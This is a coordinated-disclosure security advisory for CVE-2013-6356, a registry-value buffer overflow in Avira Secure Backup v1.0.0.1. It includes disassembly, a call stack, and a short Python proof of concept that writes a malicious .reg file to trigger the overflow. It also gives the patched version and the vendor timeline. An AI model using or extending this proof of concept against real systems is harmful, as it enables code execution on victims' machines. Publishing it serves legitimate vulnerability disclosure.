RCE Security Advisory http://www.rcesecurity.com 1. ADVISORY INFORMATION ----------------------- Product: Avira Secure Backup Vendor URL: www.avira.com Type: Improper Restriction of Operations within the Bounds of a Memory Buffer [CWE-119] Date found: 2013-10-30 Date published: 2013-11-16 CVSSv2 Score: 4,4 (AV:L/AC:M/Au:N/C:P/I:P/A:P) CVE: CVE-2013-6356 2. CREDITS ---------- This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED -------------------- Avira Secure Backup v1.0.0.1 Build 3616 4. VULNERABILITY DESCRIPTION ---------------------------- A buffer overflow vulnerability has been identified in Avira Secure Backup v1.0.0.1 Build 3616. The application loads the values of the Registry Keys "AutoUpdateDownloadFilename" and "AutoUpdateProgressFilename" from "HKEY_CURRENT_USER\Software\Avira Secure Backup" on startup but does not properly validate the length of the fetched values before using them in the further application context, which leads to a buffer overflow condition with possible persistent code execution. The application queries the values via a RegQueryValueExW call and a fixed buffer pointer (lpData) and a fixed buffer size pointer (lpcbData). If the input string size is greater than the predefined size, the application uses a second RegQueryValueExW call with the new buffer size set to the length of the input string, but reuses the original buffer pointer (lpData), which has not been resized. This results in overwriting memory space inlcuding SEH - records. An attacker needs to force the victim to import an arbitrary .reg file in order to exploit the vulnerability. Successful exploits can allow attackers to execute arbitrary code with the privileges of the user running the application. Failed exploits will result in a denial-of-service condition. The attack scenario is persistent, because the code is executed as long as the manipulated values are loaded into the Registry. 5. DEBUG INFORMATION -------------------- Call stack of main thread Address Returns to Procedure / arguments Called from 0012EB48 77DA6F87 <JMP.&ntdll.memmove> ADVAPI32.77DA6F82 0012EB4C 0012ECBC dest = 0012ECBC 0012EB50 0015760C src = 0015760C 0012EB54 00002712 n = 2712 (10002.) 0012EC28 77DA708B ADVAPI32.77DA6E02 ADVAPI32.77DA7086 0012EC60 0043F15D Includes ADVAPI32.77DA708B Avira_Se.0043F15B 0012EC9C 0043F3F8 Avira_Se.0043F0D2 Avira_Se.0043F3F3 0012F5B4 00CC00CC *** CORRUPT ENTRY *** The vulnerable code part of Avira Secure Backup.exe: 0043F0D2 PUSH EBP 0043F0D3 MOV EBP,ESP 0043F0D5 SUB ESP,10 0043F0D8 PUSH EBX 0043F0D9 PUSH ESI 0043F0DA MOV ESI,DWORD PTR DS:[<&ADVAPI32.RegOpen>; ADVAPI32.RegOpenKeyExW 0043F0E0 PUSH EDI 0043F0E1 LEA EAX,DWORD PTR SS:[EBP-8] 0043F0E4 PUSH EAX ; /pHandle 0043F0E5 PUSH 20019 ; |Access 0043F0EA XOR EBX,EBX ; | 0043F0EC PUSH EBX ; |Reserved => 0 0043F0ED PUSH DWORD PTR SS:[EBP+C] ; |Subkey 0043F0F0 MOV BYTE PTR SS:[EBP-1],BL ; | 0043F0F3 PUSH DWORD PTR SS:[EBP+8] ; |hKey 0043F0F6 MOV DWORD PTR SS:[EBP-C],820 ; | 0043F0FD CALL ESI ; \RegOpenKeyExW 0043F0FF MOV EDI,DWORD PTR DS:[<&ADVAPI32.RegQuer>; ADVAPI32.RegQueryValueExW 0043F105 TEST EAX,EAX 0043F107 JNZ SHORT Avira_Se.0043F133 0043F109 LEA EAX,DWORD PTR SS:[EBP-C] 0043F10C PUSH EAX ; /pBufSize 0043F10D PUSH DWORD PTR SS:[EBP+14] ; |Buffer 0043F110 LEA EAX,DWORD PTR SS:[EBP-10] ; | 0043F113 PUSH EAX ; |pValueType 0043F114 PUSH EBX ; |Reserved => NULL 0043F115 PUSH DWORD PTR SS:[EBP+10] ; |ValueName 0043F118 PUSH DWORD PTR SS:[EBP-8] ; |hKey 0043F11B CALL EDI ; \RegQueryValueExW 0043F11D TEST EAX,EAX 0043F11F JNZ SHORT Avira_Se.0043F125 0043F121 MOV BYTE PTR SS:[EBP-1],1 0043F125 PUSH DWORD PTR SS:[EBP-8] ; /hKey 0043F128 CALL DWORD PTR DS:[<&ADVAPI32.RegCloseKe>; \RegCloseKey 0043F12E CMP BYTE PTR SS:[EBP-1],BL 0043F131 JNZ SHORT Avira_Se.0043F16E 0043F133 LEA EAX,DWORD PTR SS:[EBP-8] 0043F136 PUSH EAX 0043F137 PUSH 20119 0043F13C PUSH EBX 0043F13D PUSH DWORD PTR SS:[EBP+C] 0043F140 PUSH DWORD PTR SS:[EBP+8] 0043F143 CALL ESI 0043F145 TEST EAX,EAX 0043F147 JNZ SHORT Avira_Se.0043F16E 0043F149 LEA EAX,DWORD PTR SS:[EBP-C] 0043F14C PUSH EAX 0043F14D PUSH DWORD PTR SS:[EBP+14] 0043F150 LEA EAX,DWORD PTR SS:[EBP-10] 0043F153 PUSH EAX 0043F154 PUSH EBX 0043F155 PUSH DWORD PTR SS:[EBP+10] 0043F158 PUSH DWORD PTR SS:[EBP-8] 0043F15B CALL EDI 0043F15D TEST EAX,EAX 0043F15F JNZ SHORT Avira_Se.0043F165 0043F161 MOV BYTE PTR SS:[EBP-1],1 0043F165 PUSH DWORD PTR SS:[EBP-8] ; /hKey 0043F168 CALL DWORD PTR DS:[<&ADVAPI32.RegCloseKe>; \RegCloseKey 0043F16E XOR EAX,EAX 0043F170 CMP BYTE PTR SS:[EBP-1],BL 0043F173 POP EDI 0043F174 POP ESI 0043F175 SETNE AL 0043F178 POP EBX 0043F179 LEAVE 0043F17A RETN 6. PROOF-OF-CONCEPT (CODE / EXPLOIT) ------------------------------------ Use the following code to exploit the vulnerability: #!/usr/bin/python file="poc.reg" junk1="\xCC" * 1240 poc="Windows Registry Editor Version 5.00\n\n" poc=poc + "[HKEY_CURRENT_USER\Software\Avira Secure Backup]\n" poc=poc + "\"AutoUpdateProgressFilename\"=\"" + junk1 + "\"" try: print "[*] Creating exploit file...\n"; writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print "[*] File successfully created!"; except: print "[!] Error while creating file!"; 7. SOLUTION ----------- Update to v1.0.0.2 Build 3630 or later 8. REPORT TIMELINE ------------------ 2013-10-30: Discovery of the vulnerability 2013-11-03: RCE Security sends first notification to vendor via mail with disclosure date set to 18. November 2013 2013-11-03: MITRE assigns CVE-2013-6356 for this issue 2013-11-04: Vendor ACKs the vulnerability 2013-11-10: RCE Security asks for a status 2013-11-11: Vendor expects to receive a fix the same day 2013-11-13: Vendor releases v1.0.0.2 Build 3630 which fixes CVE-2013-6356 2013-11-16: Coordinated Disclosure 9. REFERENCES ------------- http://www.rcesecurity.com/2013/11/cve-2013-6356-avira-secure-backup-v1-0-0-1-buffer-overflow-anatomy-of-a-vulnerability/